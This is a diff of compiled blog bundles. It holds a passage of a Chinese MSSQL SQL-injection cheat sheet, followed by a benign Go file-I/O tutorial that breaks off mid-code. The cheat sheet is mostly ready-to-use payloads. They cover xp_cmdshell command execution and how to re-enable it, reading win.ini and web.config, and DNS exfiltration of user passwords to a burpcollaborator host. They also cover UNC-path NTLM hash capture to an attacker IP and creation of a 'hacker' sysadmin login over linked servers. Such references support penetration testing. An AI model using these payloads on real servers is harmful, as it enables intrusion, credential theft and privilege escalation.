\u6743\u9650\u3002"]}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-1 union select null,(select x from OpenRowset(BULK 'C:\\Windows\\win.ini',SINGLE_CLOB) R(x)),null,null\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u547d\u4ee4\u6267\u884c",children:"MSSQL \u547d\u4ee4\u6267\u884c"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"EXEC xp_cmdshell \"net user\";\nEXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';\nEXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';\n"})}),"\n",(0,r.jsx)(s.p,{children:"\u5982\u679c\u9700\u8981\u91cd\u65b0\u6fc0\u6d3b xp_cmdshell\uff08\u5728 SQL Server 2005 \u4e2d\u9ed8\u8ba4\u4e3a\u7981\u7528\uff09"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"EXEC sp_configure 'show advanced options',1;\nRECONFIGURE;\nEXEC sp_configure 'xp_cmdshell',1;\nRECONFIGURE;\n"})}),"\n",(0,r.jsx)(s.p,{children:"\u4e0e MSSQL \u5b9e\u4f8b\u4ea4\u4e92\u3002"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-powershell",children:"sqsh -S 192.168.1.X -U sa -P superPassword\npython mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758\n"})}),"\n",(0,r.jsx)(s.p,{children:"\u6267\u884c Python \u811a\u672c"}),"\n",(0,r.jsxs)(s.blockquote,{children:["\n",(0,r.jsx)(s.p,{children:"\u7531\u4e0d\u540c\u4e8e\u4f7f\u7528 xp_cmdshell \u6267\u884c\u547d\u4ee4\u7684\u7528\u6237\u6267\u884c"}),"\n"]}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-powershell",children:"#Print the user being used (and execute commands)\nEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__(\"getpass\").getuser())'\nEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__(\"os\").system(\"whoami\"))'\n#Open and read a file\nEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open(\"C:\\\\inetpub\\\\wwwroot\\\\web.config\", \"r\").read())'\n#Multiline\nEXECUTE sp_execute_external_script @language = N'Python', @script = N'\nimport sys\nprint(sys.version)\n'\nGO\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u5e26\u5916",children:"MSSQL \u5e26\u5916"}),"\n",(0,r.jsx)(s.h3,{id:"mssql-dns-\u5916\u8fc7\u6ee4",children:"MSSQL DNS \u5916\u8fc7\u6ee4"}),"\n",(0,r.jsx)(s.p,{children:(0,r.jsx)(s.a,{href:"https://twitter.com/ptswarm/status/1313476695295512578/photo/1%E4%B8%AD%E7%9A%84%E6%8A%80%E6%9C%AF",children:"https://twitter.com/ptswarm/status/1313476695295512578/photo/1\u4e2d\u7684\u6280\u672f"})}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-powershell",children:"# Permissions: Requires VIEW SERVER STATE permission on the server.\n1 and exists(select * from fn_xe_file_target_read_file('C:\\*.xel','\\\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\\1.xem',null,null))\n\n# Permissions: Requires the CONTROL SERVER permission.\n1 (select 1 where exists(select * from fn_get_audit_file('\\\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\\',default,default)))\n1 and exists(select * from fn_trace_gettable('\\\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\\1.trc',default))\n"})}),"\n",(0,r.jsx)(s.h3,{id:"mssql-unc-\u8def\u5f84",children:"MSSQL UNC \u8def\u5f84"}),"\n",(0,r.jsxs)(s.p,{children:["MSSQL \u652f\u6301\u5806\u53e0\u67e5\u8be2\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u6307\u5411 IP \u5730\u5740\u7684\u53d8\u91cf\uff0c\u7136\u540e\u4f7f\u7528 ",(0,r.jsx)(s.code,{children:"xp_dirtree"})," \u51fd\u6570\u5217\u51fa SMB \u5171\u4eab\u4e2d\u7684\u6587\u4ef6\u5e76\u83b7\u53d6 NTLMv2 \u54c8\u5e0c\u3002"]}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"1'; use master; exec xp_dirtree '\\\\10.10.15.XX\\SHARE';-- \n"})}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"xp_dirtree '\\\\attackerip\\file'\nxp_fileexist '\\\\attackerip\\file'\nBACKUP LOG [TESTING] TO DISK = '\\\\attackerip\\file'\nBACKUP DATABASE [TESTING] TO DISK = '\\\\attackeri\\file'\nRESTORE LOG [TESTING] FROM DISK = '\\\\attackerip\\file'\nRESTORE DATABASE [TESTING] FROM DISK = '\\\\attackerip\\file'\nRESTORE HEADERONLY FROM DISK = '\\\\attackerip\\file'\nRESTORE FILELISTONLY FROM DISK = '\\\\attackerip\\file'\nRESTORE LABELONLY FROM DISK = '\\\\attackerip\\file'\nRESTORE REWINDONLY FROM DISK = '\\\\attackerip\\file'\nRESTORE VERIFYONLY FROM DISK = '\\\\attackerip\\file'\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u4f7f\u7528\u6237\u6210\u4e3a-dba\u6570\u636e\u5e93\u7ba1\u7406\u5458",children:"MSSQL \u4f7f\u7528\u6237\u6210\u4e3a DBA\uff08\u6570\u636e\u5e93\u7ba1\u7406\u5458\uff09"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u53d7\u4fe1\u4efb\u7684\u94fe\u63a5",children:"MSSQL \u53d7\u4fe1\u4efb\u7684\u94fe\u63a5"}),"\n",(0,r.jsxs)(s.blockquote,{children:["\n",(0,r.jsx)(s.p,{children:"\u6570\u636e\u5e93\u4e4b\u95f4\u7684\u94fe\u63a5\u751a\u81f3\u53ef\u4ee5\u8de8\u6797\u4fe1\u4efb\u8fdb\u884c\u5de5\u4f5c\u3002"}),"\n"]}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-powershell",children:"msf> use exploit/windows/mssql/mssql_linkcrawler\n[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio\n"})}),"\n",(0,r.jsx)(s.p,{children:"\u4eba\u5de5\u5f00\u91c7"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-- find link\nselect * from master..sysservers\n\n-- execute query through the link\nselect * from openquery(\"dcorp-sql1\", 'select * from master..sysservers')\nselect version from openquery(\"linkedserver\", 'select @@version as version');\n\n-- chain multiple openquery\nselect version from openquery(\"link1\",'select version from openquery(\"link2\",\"select @@version as version\")')\n\n-- execute shell commands\nEXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer\nselect 1 from openquery(\"linkedserver\",'select 1;exec master..xp_cmdshell \"dir c:\"')\n\n-- create user and give admin privileges\nEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT \"DOMINIO\\SERVER1\"') AT \"DOMINIO\\SERVER2\"\nEXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT \"DOMINIO\\SERVER1\"') AT \"DOMINIO\\SERVER2\"\n"})}),"\n",(0,r.jsx)(s.h2,{id:"\u5217\u51fa\u6743\u9650",children:"\u5217\u51fa\u6743\u9650"}),"\n",(0,r.jsx)(s.p,{children:"\u5217\u51fa\u5f53\u524d\u7528\u6237\u5728\u670d\u52a1\u5668\u4e0a\u7684\u6709\u6548\u6743\u9650\u3002"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT * FROM fn_my_permissions(NULL, 'SERVER'); \n"})}),"\n",(0,r.jsx)(s.p,{children:"\u5217\u51fa\u5f53\u524d\u7528\u6237\u5bf9\u6570\u636e\u5e93\u7684\u6709\u6548\u6743\u9650\u3002"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT * FROM fn_my_permissions (NULL, 'DATABASE');\n"})}),"\n",(0,r.jsx)(s.p,{children:"\u5217\u51fa\u5f53\u524d\u7528\u6237\u5bf9\u89c6\u56fe\u7684\u6709\u6548\u6743\u9650\u3002"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{children:"SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; \n"})}),"\n",(0,r.jsx)(s.p,{children:"\u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u662f\u6307\u5b9a\u670d\u52a1\u5668\u89d2\u8272\u7684\u6210\u5458\u3002"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin\nSELECT is_srvrolemember('sysadmin');\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u64cd\u4f5c\u7cfb\u7edf",children:"MSSQL \u64cd\u4f5c\u7cfb\u7edf"}),"\n",(0,r.jsxs)(s.p,{children:["\u5728\u67e5\u8be2\u4e2d\u4f7f\u7528 ",(0,r.jsx)(s.code,{children:"SP_PASSWORD"})," \u53ef\u4ee5\u9690\u85cf\u65e5\u5fd7\uff0c\u5982\uff1a"]}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"-- 'sp_password' was found in the text of this event.\n-- The text has been replaced with this comment for security reasons.\n"})}),"\n",(0,r.jsx)(s.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,r.jsxs)(s.ul,{children:["\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet",children:"Pentest Monkey-mssql sql \u6ce8\u5165\u5907\u5fd8\u5355"})}),"\n",(0,r.jsxs)(s.li,{children:["[\u57fa\u4e8e\u9519\u8bef-SQL \u6ce8\u5165](",(0,r.jsx)(s.a,{href:"https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20%E2%80%9COrder%20By%E2%80%9D%20clause%20(MSSQL).pdf%EF%BC%89",children:"https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20\u201cOrder%20By\u201d%20clause%20(MSSQL).pdf\uff09"})]}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links",children:"MSSQL \u53ef\u4fe1\u94fe\u63a5-HackTricks.xyz"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://blog.netspi.com/how-to-hack-database-links-in-sql-server/",children:"SQL Server-\u94fe\u63a5\u2026\u94fe\u63a5\u2026\u94fe\u63a5\u548c\u5916\u58f3\uff1a\u5982\u4f55\u7834\u89e3 SQL Server \u4e2d\u7684\u6570\u636e\u5e93\u94fe\u63a5\uff01-Antti Rantasaari-2013 \u5e74 6 \u6708 6 \u65e5"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://github.com/NetSPI/DAFT",children:"DAFT\uff1a\u6570\u636e\u5e93\u5ba1\u8ba1\u6846\u67b6\u548c\u5de5\u5177\u5305-NetSPI"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e",children:"SQL Server UNC \u8def\u5f84\u6ce8\u5165 Cheatsheet-nullbind"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://www.exploit-db.com/papers/12975",children:"\u5b8c\u6574 MSSQL \u6ce8\u5165 PWNage-ZeQ3uL&&JabAv0C-2009 \u5e74 1 \u6708 28 \u65e5"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15",children:"Microsoft-sys.fn_my_permissions\uff08Transact-SQL\uff09"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15",children:"Microsoft-IS_SRVROLEMEMBER\uff08Transact-SQL\uff09"})}),"\n",(0,r.jsx)(s.li,{children:(0,r.jsx)(s.a,{href:"https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/",children:"\u7531\u4e8e\u9009\u62e9\u4e86 Unorthodox MSSQL \u8bbe\u8ba1\uff0cAWS WAF \u5ba2\u6237\u7aef\u6613\u53d7 SQL \u6ce8\u5165\u653b\u51fb-Marc Olivier Bergeron-2023 \u5e74 6 \u6708 21 \u65e5"})}),"\n"]})]})}function h(e={}){const{wrapper:s}={...(0,i.R)(),...e.components};return s?(0,r.jsx)(s,{...e,children:(0,r.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/7033af27.b4129af5.js b/en/assets/js/7033af27.b4129af5.js new file mode 100644 index 0000000..f19d3af --- /dev/null +++ b/en/assets/js/7033af27.b4129af5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2576],{28453:(e,n,t)=>{t.d(n,{R:()=>s,x:()=>d});var r=t(96540);const i={},l=r.createContext(i);function s(e){const n=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:s(e.components),r.createElement(l.Provider,{value:n},e.children)}},69709:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>o,contentTitle:()=>d,default:()=>f,frontMatter:()=>s,metadata:()=>r,toc:()=>c});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io","title":"Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c","description":"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/11.GoLang-\u6587\u4ef6io.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/11.GoLang-\u6587\u4ef6io.md","tags":[],"version":"current","sidebarPosition":11,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u51fd\u6570","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570"},"next":{"title":"Golang-\u64cd\u4f5cMySQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL"}}');var i=t(74848),l=t(28453);const s={},d="Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c",o={},c=[{value:"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6",id:"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6",level:2},{value:"\u8bfb\u53d6\u6587\u4ef6",id:"\u8bfb\u53d6\u6587\u4ef6",level:2},{value:"file.Read()",id:"fileread",level:3},{value:"\u57fa\u672c\u4f7f\u7528",id:"\u57fa\u672c\u4f7f\u7528",level:4},{value:"\u5faa\u73af\u8bfb\u53d6",id:"\u5faa\u73af\u8bfb\u53d6",level:4},{value:"bufio\u8bfb\u53d6\u6587\u4ef6",id:"bufio\u8bfb\u53d6\u6587\u4ef6",level:3},{value:"ioutil\u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6",id:"ioutil\u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6",level:3},{value:"\u6587\u4ef6\u5199\u5165\u64cd\u4f5c",id:"\u6587\u4ef6\u5199\u5165\u64cd\u4f5c",level:2},{value:"Write\u548cWriteString",id:"write\u548cwritestring",level:3},{value:"bufio.NewWriter",id:"bufionewwriter",level:3},{value:"ioutil.WriteFile",id:"ioutilwritefile",level:3}];function a(e){const n={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c",children:"Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c"})}),"\n",(0,i.jsx)(n.h2,{id:"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6",children:"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"os.Open()"}),"\u51fd\u6570\u80fd\u591f\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\uff0c\u8fd4\u56de\u4e00\u4e2a",(0,i.jsx)(n.code,{children:"*File"}),"\u548c\u4e00\u4e2a",(0,i.jsx)(n.code,{children:"err"}),"\u3002\u5bf9\u5f97\u5230\u7684\u6587\u4ef6\u5b9e\u4f8b\u8c03\u7528",(0,i.jsx)(n.code,{children:"close()"}),"\u65b9\u6cd5\u80fd\u591f\u5173\u95ed\u6587\u4ef6\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"os"\n)\n\nfunc main() {\n\t// \u53ea\u8bfb\u65b9\u5f0f\u6253\u5f00\u5f53\u524d\u76ee\u5f55\u4e0b\u7684main.go\u6587\u4ef6\n\tfile, err := os.Open("./main.go")\n\tif err != nil {\n\t\tfmt.Println("open file failed!, err:", err)\n\t\treturn\n\t}\n\t// \u5173\u95ed\u6587\u4ef6\n\tfile.Close()\n}\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u4e3a\u4e86\u9632\u6b62\u6587\u4ef6\u5fd8\u8bb0\u5173\u95ed\uff0c\u6211\u4eec\u901a\u5e38\u4f7f\u7528defer\u6ce8\u518c\u6587\u4ef6\u5173\u95ed\u8bed\u53e5\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"\u8bfb\u53d6\u6587\u4ef6",children:"\u8bfb\u53d6\u6587\u4ef6"}),"\n",(0,i.jsx)(n.h3,{id:"fileread",children:"file.Read()"}),"\n",(0,i.jsx)(n.h4,{id:"\u57fa\u672c\u4f7f\u7528",children:"\u57fa\u672c\u4f7f\u7528"}),"\n",(0,i.jsx)(n.p,{children:"Read\u65b9\u6cd5\u5b9a\u4e49\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"func (f *File) Read(b []byte) (n int, err error)\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5b83\u63a5\u6536\u4e00\u4e2a\u5b57\u8282\u5207\u7247\uff0c\u8fd4\u56de\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u548c\u53ef\u80fd\u7684\u5177\u4f53\u9519\u8bef\uff0c\u8bfb\u5230\u6587\u4ef6\u672b\u5c3e\u65f6\u4f1a\u8fd4\u56de",(0,i.jsx)(n.code,{children:"0"}),"\u548c",(0,i.jsx)(n.code,{children:"io.EOF"}),"\u3002 \u4e3e\u4e2a\u4f8b\u5b50\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\t// \u53ea\u8bfb\u65b9\u5f0f\u6253\u5f00\u5f53\u524d\u76ee\u5f55\u4e0b\u7684main.go\u6587\u4ef6\n\tfile, err := os.Open("./main.go")\n\tif err != nil {\n\t\tfmt.Println("open file failed!, err:", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\t// \u4f7f\u7528Read\u65b9\u6cd5\u8bfb\u53d6\u6570\u636e\n\tvar tmp = make([]byte, 128)\n\tn, err := file.Read(tmp)\n\tif err == io.EOF {\n\t\tfmt.Println("\u6587\u4ef6\u8bfb\u5b8c\u4e86")\n\t\treturn\n\t}\n\tif err != nil {\n\t\tfmt.Println("read file failed, err:", err)\n\t\treturn\n\t}\n\tfmt.Printf("\u8bfb\u53d6\u4e86%d\u5b57\u8282\u6570\u636e\\n", n)\n\tfmt.Println(string(tmp[:n]))\n}\n'})}),"\n",(0,i.jsx)(n.h4,{id:"\u5faa\u73af\u8bfb\u53d6",children:"\u5faa\u73af\u8bfb\u53d6"}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528for\u5faa\u73af\u8bfb\u53d6\u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6570\u636e\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\t// \u53ea\u8bfb\u65b9\u5f0f\u6253\u5f00\u5f53\u524d\u76ee\u5f55\u4e0b\u7684main.go\u6587\u4ef6\n\tfile, err := os.Open("./main.go")\n\tif err != nil {\n\t\tfmt.Println("open file failed!, err:", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\t// \u5faa\u73af\u8bfb\u53d6\u6587\u4ef6\n\tvar content []byte\n\tvar tmp = make([]byte, 128)\n\tfor {\n\t\tn, err := file.Read(tmp)\n\t\tif err == io.EOF {\n\t\t\tfmt.Println("\u6587\u4ef6\u8bfb\u5b8c\u4e86")\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println("read file failed, err:", err)\n\t\t\treturn\n\t\t}\n\t\tcontent = append(content, tmp[:n]...)\n\t}\n\tfmt.Println(string(content))\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"bufio\u8bfb\u53d6\u6587\u4ef6",children:"bufio\u8bfb\u53d6\u6587\u4ef6"}),"\n",(0,i.jsx)(n.p,{children:"bufio\u662f\u5728file\u7684\u57fa\u7840\u4e0a\u5c01\u88c5\u4e86\u4e00\u5c42API\uff0c\u652f\u6301\u66f4\u591a\u7684\u529f\u80fd\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"bufio"\n\t"fmt"\n\t"io"\n\t"os"\n)\n\n// bufio\u6309\u884c\u8bfb\u53d6\u793a\u4f8b\nfunc main() {\n\tfile, err := os.Open("./xx.txt")\n\tif err != nil {\n\t\tfmt.Println("open file failed, err:", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\treader := bufio.NewReader(file)\n\tfor {\n\t\tline, err := reader.ReadString(\'\\n\') //\u6ce8\u610f\u662f\u5b57\u7b26\n\t\tif err == io.EOF {\n\t\t\tif len(line) != 0 {\n\t\t\t\tfmt.Println(line)\n\t\t\t}\n\t\t\tfmt.Println("\u6587\u4ef6\u8bfb\u5b8c\u4e86")\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println("read file failed, err:", err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Print(line)\n\t}\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"ioutil\u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6",children:"ioutil\u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"io/ioutil"}),"\u5305\u7684",(0,i.jsx)(n.code,{children:"ReadFile"}),"\u65b9\u6cd5\u80fd\u591f\u8bfb\u53d6\u5b8c\u6574\u7684\u6587\u4ef6\uff0c\u53ea\u9700\u8981\u5c06\u6587\u4ef6\u540d\u4f5c\u4e3a\u53c2\u6570\u4f20\u5165\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"io/ioutil"\n)\n\n// ioutil.ReadFile\u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6\nfunc main() {\n\tcontent, err := ioutil.ReadFile("./main.go")\n\tif err != nil {\n\t\tfmt.Println("read file failed, err:", err)\n\t\treturn\n\t}\n\tfmt.Println(string(content))\n}\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u6587\u4ef6\u5199\u5165\u64cd\u4f5c",children:"\u6587\u4ef6\u5199\u5165\u64cd\u4f5c"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"os.OpenFile()"}),"\u51fd\u6570\u80fd\u591f\u4ee5\u6307\u5b9a\u6a21\u5f0f\u6253\u5f00\u6587\u4ef6\uff0c\u4ece\u800c\u5b9e\u73b0\u6587\u4ef6\u5199\u5165\u76f8\u5173\u529f\u80fd\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"func OpenFile(name string, flag int, perm FileMode) (*File, error) {\n\t...\n}\n"})}),"\n",(0,i.jsx)(n.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"name"}),"\uff1a\u8981\u6253\u5f00\u7684\u6587\u4ef6\u540d ",(0,i.jsx)(n.code,{children:"flag"}),"\uff1a\u6253\u5f00\u6587\u4ef6\u7684\u6a21\u5f0f\u3002 \u6a21\u5f0f\u6709\u4ee5\u4e0b\u51e0\u79cd\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u6a21\u5f0f"}),(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u542b\u4e49"})]})}),(0,i.jsxs)(n.tbody,{children:[(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_WRONLY"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u53ea\u5199"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_CREATE"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u521b\u5efa\u6587\u4ef6"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_RDONLY"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u53ea\u8bfb"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_RDWR"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u8bfb\u5199"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_TRUNC"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u6e05\u7a7a"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_APPEND"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u8ffd\u52a0"})]})]})]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"perm"}),"\uff1a\u6587\u4ef6\u6743\u9650\uff0c\u4e00\u4e2a\u516b\u8fdb\u5236\u6570\u3002r\uff08\u8bfb\uff0904\uff0cw\uff08\u5199\uff0902\uff0cx\uff08\u6267\u884c\uff0901\u3002"]}),"\n",(0,i.jsx)(n.h3,{id:"write\u548cwritestring",children:"Write\u548cWriteString"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go"